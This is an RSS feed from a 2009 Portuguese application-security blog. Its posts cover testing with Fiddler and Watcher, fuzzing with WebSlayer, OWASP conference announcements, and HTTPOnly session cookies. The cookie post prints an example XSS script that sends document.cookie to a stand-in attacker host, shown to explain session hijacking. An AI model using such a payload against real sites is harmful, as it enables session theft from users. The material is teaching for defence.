<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">

<channel>
	<title>Wagner Elias - Think Security First</title>
	
	<link>http://wagnerelias.com</link>
	<description>BCP, BIA, DRP, Security Assessment, Risk Assessment, Security Developer</description>
	<lastBuildDate>Mon, 08 Jun 2009 23:12:11 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" href="http://feeds.feedburner.com/WagnerElias-ThinkSecurityFirst" type="application/rss+xml" /><feedburner:emailServiceId>WagnerElias-ThinkSecurityFirst</feedburner:emailServiceId><feedburner:feedburnerHostname>http://feedburner.google.com</feedburner:feedburnerHostname><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com" /><item>
		<title>Fiddler, uma boa opção para teste de app web</title>
		<link>http://feedproxy.google.com/~r/WagnerElias-ThinkSecurityFirst/~3/00wqpD909sI/</link>
		<comments>http://wagnerelias.com/2009/06/08/fiddler-uma-boa-opcao-para-teste-de-app-web/#comments</comments>
		<pubDate>Mon, 08 Jun 2009 23:08:48 +0000</pubDate>
		<dc:creator>Elias Wagner</dc:creator>
				<category><![CDATA[Security Developer]]></category>

		<guid isPermaLink="false">http://wagnerelias.com/2009/06/08/fiddler-uma-boa-opcao-para-teste-de-app-web/</guid>
		<description><![CDATA[Hoje ao analisar uma aplicação que só funcionava adequadamente no Internet Explorer, eu percebi o quanto sou dependente de alguns plugins do Firefox (HTTP Live Header, Tamper Data, Firebug, HTTPFox, entre outros). Eu realizo muitos testes manuais e eles são essenciais nestas análises, o Internet Explorer também possui alguns plugins, mas eu ainda não tive [...]]]></description>
			<content:encoded><![CDATA[<p>Hoje ao analisar uma aplicação que só funcionava adequadamente no Internet Explorer, eu percebi o quanto sou dependente de alguns plugins do Firefox (HTTP Live Header, Tamper Data, Firebug, HTTPFox, entre outros). Eu realizo muitos testes manuais e eles são essenciais nestas análises, o Internet Explorer também possui alguns plugins, mas eu ainda não tive a oportunidade de testá-los.</p>
<p>Como eu precisava de uma opção rápida, optei pelo <a href="http://www.fiddler2.com/"><b>Fiddler</b></a>. Já fazia um bom tempo que eu não o utilizava, a última vez foi para testar o <a href="http://websecuritytool.codeplex.com/"><b>Watcher</b></a>, quando foi lançado há alguns meses atrás.</p>
<p>O fiddler, atualmente na versão v2.2.2.2.2 Beta (isso mesmo, eu não me enganei na quantidade de números 2), é um sniffer bem completo e que possui uma série de plugins que ajudam muito na depuração e identificação de falhas em aplicações web. Com uma interface bastante apurada você pode mapear claramente a aplicação e inclusive documentar requisições usando a opção Comment. Para utilizar o Fiddler basta iniciá-lo e configurar o seu Internet Explorer para usar o proxy no endereço IP 127.0.0.1 (Localhost) na porta 8888.</p>
<p>Bom, vamos ao que interessa, as extensões que o Fiddler possui. Uma bem interessante e que lembra muito o modo de teste do <a href="http://code.google.com/p/ratproxy/"><b>Ratproxy </b></a>(análise passiva) do Google, é o Watcher. Esta extensão se acopla ao Fiddler e realiza uma série de testes de segurança da aplicação.</p>
<p>O modo de instalação do Watcher é bem simples, basta extrair os seguintes arquivos do pacote de instalação: Watcher.dll e WatcherCheckLib.dll no diretório scripts que se encontra no diretório: %userprofile%\My Documents\Fiddler2\Scripts no Windows XP e %userprofile%\Documents\Fiddler2\Scripts. Após a extração dos arquivos no diretório adequado é só reiniciar o Fiddler que irá aparecer uma aba chamada: Security Auditor.<br />
<b><br />
Como utilizar o Watcher</b>?</p>
<p>Na aba Security Auditor insira o domínio da aplicação que você deseja testar.</p>
<div align="center"><img style="max-width: 430px;" src="http://wagnerelias.com/wp-content/uploads/2009/06/watcher.jpg" /></p>
</div>
<p>Após definir o domínio é só clicar em Save Config e navegar na aplicação usando o Internet Explorer configurado para navegar usando o Fiddler como proxy.</p>
<p>Após navegar por toda a aplicação que você deseja testar, clique na aba Results do Watcher e confira a análise realizada.</p>
<p>O que eu achei bem interessante no Watcher foi a possibilidade de incluir, alterar as mensagens que ele analisa durante o parser nas respostas a requisições na página. Um que vale a pena gastar um tempo e incluir palavras chaves é o teste que procura por palavras chaves em comentários no código.</p>
<div align="center"><img style="max-width: 430px;" src="http://wagnerelias.com/wp-content/uploads/2009/06/comments1.jpg" />
</div>
<p>Ah! Quem utiliza o Internet Explorer para testar aplicações e quer sugerir plugins, ferramentas, o comentário está ai pra isto.</p>
]]></content:encoded>
			<wfw:commentRss>http://wagnerelias.com/2009/06/08/fiddler-uma-boa-opcao-para-teste-de-app-web/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://wagnerelias.com/2009/06/08/fiddler-uma-boa-opcao-para-teste-de-app-web/</feedburner:origLink></item>
		<item>
		<title>Treinamentos You Sh0t the Sheriff 3.0</title>
		<link>http://feedproxy.google.com/~r/WagnerElias-ThinkSecurityFirst/~3/v7befKJsXRI/</link>
		<comments>http://wagnerelias.com/2009/05/14/treinamentos-you-sh0t-the-sheriff-30/#comments</comments>
		<pubDate>Thu, 14 May 2009 17:46:33 +0000</pubDate>
		<dc:creator>Elias Wagner</dc:creator>
				<category><![CDATA[Diversos]]></category>
		<category><![CDATA[eventos]]></category>

		<guid isPermaLink="false">http://wagnerelias.com/2009/05/14/treinamentos-you-sh0t-the-sheriff-30/</guid>
		<description><![CDATA[Este ano a Conviso está novamente patrocinando o evento You Sh0t the Sheriff. Além do patrocínio, este ano na sua terceira edição, o evento irá também oferecer treinamentos nos dias 23 e 24 de Junho.
A conviso irá ministrar dois treinamentos:

Web Hacking Techniques
Internet Hacking Techniques

O evento acontece no dia 22 de Junho e espero vocês lá.

]]></description>
			<content:encoded><![CDATA[<p>Este ano a <b><a href="http://www.conviso.com.br">Conviso</a> </b>está novamente patrocinando o evento <a href="http://www.ysts.org/"><b>You Sh0t the Sheriff</b></a>. Além do patrocínio, este ano na sua terceira edição, o evento irá também oferecer treinamentos nos dias 23 e 24 de Junho.</p>
<p><b>A conviso irá ministrar dois treinamentos:</b></p>
<ul>
<li><a href="http://www.ysts.org/treinamentos.html#WHT">Web Hacking Techniques</a></li>
<li><a href="http://www.ysts.org/treinamentos.html#IHT">Internet Hacking Techniques</a></li>
</ul>
<p>O evento acontece no dia 22 de Junho e espero vocês lá.</p>
<div class="zemanta-pixie"><img class="zemanta-pixie-img" src="http://img.zemanta.com/pixy.gif?x-id=46941898-327f-846f-ae91-c823087ddd7a" /></div>
]]></content:encoded>
			<wfw:commentRss>http://wagnerelias.com/2009/05/14/treinamentos-you-sh0t-the-sheriff-30/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://wagnerelias.com/2009/05/14/treinamentos-you-sh0t-the-sheriff-30/</feedburner:origLink></item>
		<item>
		<title>Chamada de Trabalhos – OWASP AppSec Brasil 2009</title>
		<link>http://feedproxy.google.com/~r/WagnerElias-ThinkSecurityFirst/~3/i7ZMxlKtbaw/</link>
		<comments>http://wagnerelias.com/2009/05/11/chamada-de-trabalhos-owasp-appsec-brasil-2009/#comments</comments>
		<pubDate>Mon, 11 May 2009 15:19:45 +0000</pubDate>
		<dc:creator>Elias Wagner</dc:creator>
				<category><![CDATA[Security Developer]]></category>
		<category><![CDATA[eventos]]></category>

		<guid isPermaLink="false">http://wagnerelias.com/2009/05/11/chamada-de-trabalhos-owasp-appsec-brasil-2009/</guid>
		<description><![CDATA[O OWASP solicita propostas de apresentações para a conferência internacional OWASP AppSec Brasil 2009, que ocorrerá na Câmara dos Deputados (Brasília, DF) de 27 a 30 de outubro de 2009. Haverão mini-cursos nos dias 27 e 28 de outubro, seguidos de sessões plenárias de trilha única nos dias 29 e 30 de outubro de 2009. [...]]]></description>
			<content:encoded><![CDATA[<p>O OWASP solicita propostas de apresentações para a conferência internacional OWASP AppSec Brasil 2009, que ocorrerá na Câmara dos Deputados (Brasília, DF) de 27 a 30 de outubro de 2009. Haverão mini-cursos nos dias 27 e 28 de outubro, seguidos de sessões plenárias de trilha única nos dias 29 e 30 de outubro de 2009. Esta conferência será promovida e organizada pela Comunidade TI-Controle e pela Câmara dos Deputados. </p>
<p>Buscamos pessoas e organizações que queiram ministrar palestras sobre segurança de aplicações. Em particular destacamos os seguintes tópicos de interesse: </p>
<dl>
<dd>
<ul>
<li> Modelagem de ameaças em aplicações (Application Threat Modeling) </li>
<li> Riscos de Negócio em Segurança de aplicações (Business Risks with Application Security) </li>
<li> Aplicações de Revisões de Código (Hands-on Source Code Review) </li>
<li> Métricas Aplicadas a Segurança de Aplicações (Metrics for Application Security) </li>
<li> Ferramentas e Projetos do OWASP (OWASP Tools and Projects) </li>
<li> Tópicos de Privacidade em Aplicações e Armazenamento de Dados (Privacy Concerns with Applications and Data Storage) </li>
<li> Práticas de Programação Segura (Secure Coding Practices) </li>
<li> Programas de Segurança para todo o Ciclo de Vida de alicações (Secure Development Lifecycle Programs) </li>
<li> Tópicos de Segurança para tecnologias específicas (AJAX, XML, Flash, etc) (Technology specific presentations on security such as AJAX, XML, etc) </li>
<li> Controles de Segurança para aplicações Web (Web Application Security countermeasures) </li>
<li> Testes de Segurança de aplicações Web (Web Application Security Testing) </li>
<li> Segurança de Web Services ou XML (Web Services-, XML- and Application Security) </li>
</ul>
</dd>
</dl>
<p>A lista de tópicos não é exaustiva; outros tópicos podem ser abordados, desde que em consonância com o tema central do evento. </p>
<p>As propostas devem conter: </p>
<dl>
<dd>
<ul>
<li> Nome do apresentador e dos demais autores </li>
<li> E-mail e telefone do apresentador </li>
<li> Curriculum resumido do apresentador e, opcionalmente, dos demais autores </li>
<li> Título da apresentação </li>
<li> Resumo e abstract </li>
<li> Lista de todos os assuntos a serem abordados durante a apresentação </li>
<li> Qualquer outro material que os autores julguem necessários (Estes materiais ficarão restritos ao comitê de programa) </li>
</ul>
</dd>
</dl>
<p>Cada apresentação terá 45 minutos de duração, seguidos de 10 minutos para perguntas da platéia. Todas as apresentações deverão estar em conformidade com as regras definidas pelo OWASP em seu "Speaker Agreement". </p>
<p><b>Datas importantes:</b> </p>
<dl>
<dd>  A data limite para apresentação de propostas é 11 de julho de 2009 às 23:59, horário de Brasília. </dd>
<dd>  A notificação de aceitação ocorrerá até o dia 7 de agosto de 2009. </dd>
<dd>  A versão final das apresentações deverá ser enviada até o dia 15 de setembro de 2009. </dd>
</dl>
<p>As propostas devem ser enviadas para o e-mail: <b>appsec.brasil@camara.gov.br</b> </p>
<p>Para mais informações, favor consultar as seguintes páginas: </p>
<dl>
<dd>  Página da conferência: <a href="https://www.owasp.org/index.php/AppSec_Brasil_2009_%28pt-br%29" class="external free" title="https://www.owasp.org/index.php/AppSec_Brasil_2009_(pt-br)" rel="nofollow">https://www.owasp.org/index.php/AppSec_Brasil_2009_(pt-br)</a> </dd>
<dd>  Perguntas frequentes: <a href="https://www.owasp.org/index.php/AppSec_Brasil_2009_-_FAQ_%28pt-br%29" class="external free" title="https://www.owasp.org/index.php/AppSec_Brasil_2009_-_FAQ_(pt-br)" rel="nofollow">https://www.owasp.org/index.php/AppSec_Brasil_2009_-_FAQ_(pt-br)</a> </dd>
<dd>  OWASP Speaker Agreement (em inglês): <a href="http://www.owasp.org/index.php/Speaker_Agreement" class="external free" title="http://www.owasp.org/index.php/Speaker_Agreement" rel="nofollow">http://www.owasp.org/index.php/Speaker_Agreement</a> </dd>
<dd>  Comunidade TI-Controle: <a href="http://www.ticontrole.gov.br/" class="external free" title="http://www.ticontrole.gov.br" rel="nofollow">http://www.ticontrole.gov.br</a> </dd>
<dd>  Câmara dos Deputados: <a href="http://www.camara.gov.br/" class="external free" title="http://www.camara.gov.br" rel="nofollow">http://www.camara.gov.br</a> </dd>
</dl>
<div class="zemanta-pixie"><img class="zemanta-pixie-img" src="http://img.zemanta.com/pixy.gif?x-id=ac541e4a-2de4-8e27-a81e-2fb70f97bf5a" /></div>
]]></content:encoded>
			<wfw:commentRss>http://wagnerelias.com/2009/05/11/chamada-de-trabalhos-owasp-appsec-brasil-2009/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://wagnerelias.com/2009/05/11/chamada-de-trabalhos-owasp-appsec-brasil-2009/</feedburner:origLink></item>
		<item>
		<title>OWASP AppSec Brazil 2009 – Brasília, 27-30 de outubro de 2009</title>
		<link>http://feedproxy.google.com/~r/WagnerElias-ThinkSecurityFirst/~3/fnCbds5MmVU/</link>
		<comments>http://wagnerelias.com/2009/04/30/owasp-appsec-brazil-2009-brasilia-27-30-de-outubro-de-2009/#comments</comments>
		<pubDate>Thu, 30 Apr 2009 21:05:22 +0000</pubDate>
		<dc:creator>Elias Wagner</dc:creator>
				<category><![CDATA[Security Developer]]></category>

		<guid isPermaLink="false">http://wagnerelias.com/?p=644</guid>
		<description><![CDATA[Após a perseverança do Eduardo Neves, e o excelente trabalho do Lucas Ferreira, conseguimos aprovar o Primeiro OWASP AppSec Brazil. A conferência será realizada nos dias 27 a 29 de outubro de 2009 nas dependências da Câmara dos Deputados, em Brasília, DF é agora o primeiro OWASP AppSec Brazil 2009. Isso é uma vitória do [...]]]></description>
			<content:encoded><![CDATA[<p>Após a perseverança do <strong><a href="http://camargoneves.com">Eduardo Neves</a></strong>, e o excelente trabalho do <strong><a href="http://www.sapao.net/">Lucas Ferreira</a></strong>, conseguimos aprovar o Primeiro OWASP AppSec Brazil. A conferência será realizada nos dias 27 a 29 de outubro de 2009 nas dependências da Câmara dos Deputados, em Brasília, DF é agora o primeiro OWASP AppSec Brazil 2009. Isso é uma vitória do Capítulo OWASP Brasil que está tentando trazer o evento para o nosso país desde novembro de 2008 e finalmente conseguiu discutir o assunto com todos os envolvidos e conseguir a aprovação necessária para isso.</p>
<p>A Conferência será promovida pelo OWASP Brasil com o suporte da <a href="http://www.ti-controle.gov.br/" target="_blank">Comunidade TI-Controle</a> para tratar os diferentes assuntos relacionados a Segurança de Aplicações, tais como:</p>
<ul>
<li>Desenvolvimento seguro</li>
<li>Segurança e arquitetura de software</li>
<li>Processos de desenvolvimento de sistemas seguros</li>
<li>Ferramentas para análise de segurança de aplicações</li>
<li>Bibliotecas e frameworks de segurança para aplicações web</li>
<li>Auditoria e testes de segurança em aplicações</li>
<li>Metodologias gerenciais para melhoria da segurança no desenvolvimento de software</li>
<li>Análise de ataques a aplicações</li>
<li>Avaliação de riscos de negócio em aplicações web</li>
<li>Segurança de web services</li>
</ul>
<p>A Conferência terá dois dias de treinamentos (27 e 28 de outubro) seguidos de dois dias de palestras (29 e 30 de outubro). As chamadas de trabalho serão divulgadas neste fim de semana. A página com as informações relacionadas está disponível na Wiki da <a href="https://www.owasp.org/index.php/AppSec_Brasil_2009" target="_blank">OWASP</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://wagnerelias.com/2009/04/30/owasp-appsec-brazil-2009-brasilia-27-30-de-outubro-de-2009/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		<feedburner:origLink>http://wagnerelias.com/2009/04/30/owasp-appsec-brazil-2009-brasilia-27-30-de-outubro-de-2009/</feedburner:origLink></item>
		<item>
		<title>Encontrando vulnerabilidades em aplicações web com teste fuzzy</title>
		<link>http://feedproxy.google.com/~r/WagnerElias-ThinkSecurityFirst/~3/okoPGZHQbxY/</link>
		<comments>http://wagnerelias.com/2009/04/22/encontrando-vulnerabilidades-em-aplicacoes-web-com-teste-fuzzy/#comments</comments>
		<pubDate>Wed, 22 Apr 2009 22:50:27 +0000</pubDate>
		<dc:creator>Elias Wagner</dc:creator>
				<category><![CDATA[Security Developer]]></category>

		<guid isPermaLink="false">http://wagnerelias.com/2009/04/22/encontrando-vulnerabilidades-em-aplicacoes-web-com-teste-fuzzy/</guid>
		<description><![CDATA[Fuzzing é uma técnica largamente utilizada hoje em dia, para identificar vulnerabilidades em aplicações. A técnica consiste basicamente de submeter pacotes/dados de todos os tipos e identificar como a aplicação se comporta com estes dados. Para mostrar um teste fuzzy na prática, vou usar a ferramenta WebSlayer.
Usando o WebSlayer para fuzzing em aplicações WebWebSlayer é [...]]]></description>
			<content:encoded><![CDATA[<p>Fuzzing é uma técnica largamente utilizada hoje em dia, para identificar vulnerabilidades em aplicações. A técnica consiste basicamente de submeter pacotes/dados de todos os tipos e identificar como a aplicação se comporta com estes dados. Para mostrar um teste fuzzy na prática, vou usar a ferramenta <a href="http://www.owasp.org/index.php/Category:OWASP_Webslayer_Project"><b>WebSlayer</b></a>.</p>
<p><b>Usando o WebSlayer para fuzzing em aplicações Web<br /></b><br />WebSlayer é uma ferramenta desenvolvida pelo grupo <a href="http://www.edge-security.com/"><b>Edge-security</b></a>, é apoiada pela OWASP e foi lançado no último <a href="http://wagnerelias.com/2008/10/06/owasp-e-eventos/"><b>Summit em Portugal</b></a>. A ferramenta possibilita que seja realizado inúmeros testes em aplicações web, especialmente fuzzing.</p>
<p>Possui uma boa interface gráfica, aliada a uma boa base de conhecimento (wordlists). A ferramenta fornece apenas wordlists, não fornece pacotes, requisições HTTP que possam ser usadas no fuzzing, a ferramenta permite que você gere o payload da forma como achar melhor.</p>
<p>Vamos usar uma abordagem estruturada de fuzzing para explorar os recursos do WebSlayer</p>
<p><b>1 - Identificar o Alvo<br /></b><br />Vamos iniciar definindo qual a URL será testada. </p>
<p><img style="max-width: 400px;" src="http://wagnerelias.com/wp-content/uploads/2009/04/fuzzingalvo1.jpg" /></p>
<p><b>2 - Identificar o Input<br /></b><br />Agora vamos identificar o input onde será injetados os dados da wordlist. Caso seja parâmetros GET, ele será informado na própria URL, se for POST será informado na caixa de texto abaixo, específica para parâmetros POST. o WebSlayer irá injetar as palavras/strings, onde você inserir a tag FUZZ. Por exemplo, http://sitealvo.com/teste.php?parametro1=FUZZ. O WebSlayer irá injetar as strings das wordlists no parâmetro onde eu informei a tag FUZZ.</p>
<p><img style="max-width: 400px;" src="http://wagnerelias.com/wp-content/uploads/2009/04/fuzzingparametro2.jpg" /></p>
<p><img style="max-width: 400px;" src="http://wagnerelias.com/wp-content/uploads/2009/04/fuzzingparametro3.jpg" /></p>
<p><b>3 - Gerar o payload (dado que será usado no fuzzing)<br /></b><br />Neste passo iremos selecionar o tipo de wordlist que iremos injetar. Também é possível gerar requisições/payloads específicos, mas vamos trabalhar com as wordlists neste post. Além de escolher a wordlist, também podemos mandar injetar estas informações codificadas, buscando evadir assinaturas de WAF (Web Application Firewall) e controles na aplicação.</p>
<p><img style="max-width: 400px;" src="http://wagnerelias.com/wp-content/uploads/2009/04/fuzzingdict4.jpg" /></p>
<p><b>4 - Executar o Fuzzing<br /></b><br />Definido quais os dados serão usados no fuzzing, clique em executar os testes.</p>
<p><b>5 - Monitorar as Exceções<br /></b><br />Ao executar o fuzzing, será apresentado na seção Attack Results, todas as respostas que foram dadas pela aplicação a cada requisição que o fuzzing fez.</p>
<p><img style="max-width: 400px;" src="http://wagnerelias.com/wp-content/uploads/2009/04/fuzzingresult5.jpg" /></p>
<p><b>6 - Identificar possíveis pontos de exploração<br /></b><br />Na seção Attacks Results você irá identificar qual os inputs são possíveis vetores de ataque, quais são os inputs vulneráveis. Esta identificação será feita de acordo com a resposta e a utilização de Regex (Expressões regulares).</p>
<p><img style="max-width: 400px;" src="http://wagnerelias.com/wp-content/uploads/2009/04/fuzzingexploit6.jpg" /></p>
<p>Isso é uma utilização básica do WebSlayer, vários outros testes podem ser executados. Até o momento só a versão Windows está disponível, em breve as versões para Mac e Linux estarão disponíveis.</p>
<div class="zemanta-pixie"><img class="zemanta-pixie-img" src="http://img.zemanta.com/pixy.gif?x-id=0166f72c-1c41-8b89-93aa-9b750c34bfd1" /></div>
]]></content:encoded>
			<wfw:commentRss>http://wagnerelias.com/2009/04/22/encontrando-vulnerabilidades-em-aplicacoes-web-com-teste-fuzzy/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		<feedburner:origLink>http://wagnerelias.com/2009/04/22/encontrando-vulnerabilidades-em-aplicacoes-web-com-teste-fuzzy/</feedburner:origLink></item>
		<item>
		<title>Segurança de Cookies de sessão e HTTPOnly</title>
		<link>http://feedproxy.google.com/~r/WagnerElias-ThinkSecurityFirst/~3/AXld8FTDedU/</link>
		<comments>http://wagnerelias.com/2009/04/21/seguranca-de-cookies-de-sessao-e-httponly/#comments</comments>
		<pubDate>Tue, 21 Apr 2009 16:39:53 +0000</pubDate>
		<dc:creator>Elias Wagner</dc:creator>
				<category><![CDATA[Security Developer]]></category>

		<guid isPermaLink="false">http://wagnerelias.com/2009/04/21/seguranca-de-cookies-de-sessao-e-httponly/</guid>
		<description><![CDATA[Cookie é um dos recursos usados para garantir estados em aplicações web. O protocolo HTTP é stateless, como podemos ver no post sobre HTTP. Esta característica nos primórdios não trazia nenhum problema, as páginas eram estáticas. Com o passar do tempo, as aplicações começaram a ficar mais complexas e passou a ser inevitável manter estados. [...]]]></description>
			<content:encoded><![CDATA[<p>Cookie é um dos recursos usados para garantir estados em aplicações web. O protocolo HTTP é stateless, como podemos ver <a href="http://wagnerelias.com/2009/02/06/http-essentials/"><b>no post sobre HTTP</b></a>. Esta característica nos primórdios não trazia nenhum problema, as páginas eram estáticas. Com o passar do tempo, as aplicações começaram a ficar mais complexas e passou a ser inevitável manter estados. Para fazer isso, utilizamos o recurso de sessão/cookie. Este recurso é a "memória" da aplicação web, ela irá consultar a sessão para lembrar de informações que são necessárias entre as requisições HTTP. <br /><b><br />O que acontece se eu não tomar cuidado com a sessão?</b></p>
<p>Problemas sérios! Furto de dados, sequestro de sessão, problemas com autenticação, entre outras coisas que podem ser vistas na <a href="http://www.owasp.org/index.php/Top_10_2007-A7"><b>página sobre gestão de sessão da OWASP.</b></a><br /><b><br />Como mitigar (diminuir) os riscos associados a cookies de sessão? </b></p>
<p>Além de <a href="http://wagnerelias.com/2008/11/01/hardening-de-sessao-no-php/"><b>implementar adequadamente a gestão de sessão</b></a>, um excelente e simples controle para mitigar riscos relacionados a sequestro de sessão (session hijack), é evitar que cookies sejam consultados por javascript. Esta técnica é facilmente implementada, apenas inserindo uma flag <a href="http://www.owasp.org/index.php/HTTPOnly"><b>httponly </b></a>nos cookies.</p>
<blockquote><p><b>Exemplo de cookie com a flag HTTPOnly</b><br />Set-Cookie: pmaCookieVer=4; expires=Thu, 21-May-2009 16:07:33 GMT; path=/phpmyadmin/; httponly</p></blockquote>
<p><b>Como o acesso a cookies via javascript pode expor sua aplicação a sequestro de sessão? <br /></b><br />A maiorias dos ataques de sequestro de sessão são realizados roubando cookies de usuários usando falhas de XSS (Cross Site Scripting). Uma pessoa mal intencionada envia uma URL contendo uma chamada javascript que irá usar a função document.cookie para coletar o cookie da sessão e enviar para um site/local onde ele possa capturar este cookie. Com o cookie em mãos a pessoa mal intencionada faz o sequestro de sessão.</p>
<blockquote><p><b>Um exemplo de requisição maliciosa que pode ser usada para roubar cookies que não estejam protegidos.</b>
<pre class="code">&lt;script&gt;&lt;br /&gt;document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie&lt;br /&gt;&lt;/script&gt;&lt;br /&gt;</pre>
</blockquote>
<p><b>Como testar minha aplicação para verificar se ela usa o recurso de HTTPOnly ou não?<br /></b><br />Um exemplo simples, para validar se a sua aplicação usa o recurso de HTTPOnly ou não, é fazer a seguinte chamada na caixa de texto onde insere as URLs que deseja acessar no seu browser: <b><i>javascript:alert(document.cookie);</i></b> Se retornar uma mensagem de alerta com o valor do seu cookie de sessão, a aplicação não usa o recurso de HTTPOnly, portanto, pode ser explorada via ataques que usem recursos de javascript.</p>
<p><b>Como implementar HTTPOnly?<br /></b><br />Alguns frameworks nas últimas versões, já vem com este recurso habilitado por default, <a href="http://www.nomedojogo.com/2008/11/04/rails-22-cookie-de-sessao-agora-e-httponly/"><b>como é o caso do Rails</b></a>. Cada linguagem possui seu modo de implementar este recurso, alguns exemplos:</p>
<ul>
<li><a href="http://www.owasp.org/index.php/HTTPOnly#Using_PHP_to_set_HttpOnly"><b>Php</b></a></li>
<li><a href="http://www.owasp.org/index.php/HTTPOnly#Using_Java_to_Set_HTTPOnly"><b>Java</b></a></li>
<li><a href="http://www.owasp.org/index.php/HTTPOnly#Using_.NET_to_Set_HTTPOnly"><b>.Net</b></a></li>
</ul>
<p>Alguns browsers também pode <a href="http://www.owasp.org/index.php/HTTPOnly#Testing_Web_Browsers_for_HTTPOnly_Support"><b>forçar o uso do HTTPOnly.</b></a></p>
<p><b>Existe algum tipo de "bypass" de HTTPOnly?<br /></b><br />Sim, existe alguns métodos para burlar o HTTPOnly. Por exemplo, <a href="http://insanesecurity.wordpress.com/2007/08/01/httponly-vs-xmlhttprequest/"><b>usando requisições XHR (XMLHttpRequest).</b></a> </p>
<div class="zemanta-pixie"><img class="zemanta-pixie-img" src="http://img.zemanta.com/pixy.gif?x-id=cfb21364-2e36-8f0d-8240-2a13f29bcbd0" /></div>
]]></content:encoded>
			<wfw:commentRss>http://wagnerelias.com/2009/04/21/seguranca-de-cookies-de-sessao-e-httponly/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		<feedburner:origLink>http://wagnerelias.com/2009/04/21/seguranca-de-cookies-de-sessao-e-httponly/</feedburner:origLink></item>
		<item>
		<title>Estou voltando!</title>
		<link>http://feedproxy.google.com/~r/WagnerElias-ThinkSecurityFirst/~3/OAtERzIMOLk/</link>
		<comments>http://wagnerelias.com/2009/04/21/estou-voltando/#comments</comments>
		<pubDate>Tue, 21 Apr 2009 15:33:03 +0000</pubDate>
		<dc:creator>Elias Wagner</dc:creator>
				<category><![CDATA[Diversos]]></category>

		<guid isPermaLink="false">http://wagnerelias.com/2009/04/21/estou-voltando/</guid>
		<description><![CDATA[Este é o tipo de post que não ajuda em nada, mas preciso dar uma satisfação aos que me aturam neste blog.
Os últimos meses foram alucinantes, muito trabalho, um treinamento na uCon, que foi demais, e sobrou pouco tempo para escrever algo aqui. Cheguei ao cúmulo de esquecer de pagar o host e o domínio [...]]]></description>
			<content:encoded><![CDATA[<p>Este é o tipo de post que não ajuda em nada, mas preciso dar uma satisfação aos que me aturam neste blog.</p>
<p>Os últimos meses foram alucinantes, muito trabalho, um <a href="http://www.ucon-conference.org"><b>treinamento na uCon</b></a>, que foi demais, e sobrou pouco tempo para escrever algo aqui. Cheguei ao cúmulo de esquecer de pagar o host e o domínio ficou suspenso por um dia. <img src='http://wagnerelias.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> </p>
<p>Agora estou de volta, vou começar a agitar isso aqui novamente e espero que os leitores apreciem. </p>
<div class="zemanta-pixie"><img class="zemanta-pixie-img" src="http://img.zemanta.com/pixy.gif?x-id=2bbaf3e1-5f4a-8342-b6b8-d5a83b11226b" /></div>
]]></content:encoded>
			<wfw:commentRss>http://wagnerelias.com/2009/04/21/estou-voltando/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://wagnerelias.com/2009/04/21/estou-voltando/</feedburner:origLink></item>
		<item>
		<title>Source Code Static Analysis – Quadrante Mágico do Gartner</title>
		<link>http://feedproxy.google.com/~r/WagnerElias-ThinkSecurityFirst/~3/E6F_kQT45t4/</link>
		<comments>http://wagnerelias.com/2009/02/24/source-code-static-analysis-quadrante-magico-do-gartner/#comments</comments>
		<pubDate>Tue, 24 Feb 2009 20:58:31 +0000</pubDate>
		<dc:creator>Elias Wagner</dc:creator>
				<category><![CDATA[Security Developer]]></category>

		<guid isPermaLink="false">http://wagnerelias.com/2009/02/24/source-code-static-analysis-quadrante-magico-do-gartner/</guid>
		<description><![CDATA[Agora em Fevereiro saiu o quadrante mágico do Gartner classificando os players de source-review. A fortify se destaca no quadro! Vale ressaltar que apenas Fortify e Ounce Labs tem ferramentas que nasceram para revisão de segurança de código, todos os outros players tem soluções que evoluiram, foram adaptadas, para revisão de segurança.



]]></description>
			<content:encoded><![CDATA[<p>Agora em Fevereiro saiu o quadrante mágico do Gartner classificando os players de source-review. A fortify se destaca no quadro! Vale ressaltar que apenas Fortify e Ounce Labs tem ferramentas que nasceram para revisão de segurança de código, todos os outros players tem soluções que evoluiram, foram adaptadas, para revisão de segurança.</p>
<div align="center"><img style="max-width: 800px;" src="http://wagnerelias.com/wp-content/uploads/2009/02/gartner-static-analysis.jpg" /></div>
<div align="center"></div>
<div class="zemanta-pixie"><img class="zemanta-pixie-img" src="http://img.zemanta.com/pixy.gif?x-id=028e8086-11d7-45ac-8a60-905e8b465425" /></div>
]]></content:encoded>
			<wfw:commentRss>http://wagnerelias.com/2009/02/24/source-code-static-analysis-quadrante-magico-do-gartner/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://wagnerelias.com/2009/02/24/source-code-static-analysis-quadrante-magico-do-gartner/</feedburner:origLink></item>
		<item>
		<title>HTTP Essentials</title>
		<link>http://feedproxy.google.com/~r/WagnerElias-ThinkSecurityFirst/~3/DyARWUyjXWk/</link>
		<comments>http://wagnerelias.com/2009/02/06/http-essentials/#comments</comments>
		<pubDate>Fri, 06 Feb 2009 18:55:18 +0000</pubDate>
		<dc:creator>Elias Wagner</dc:creator>
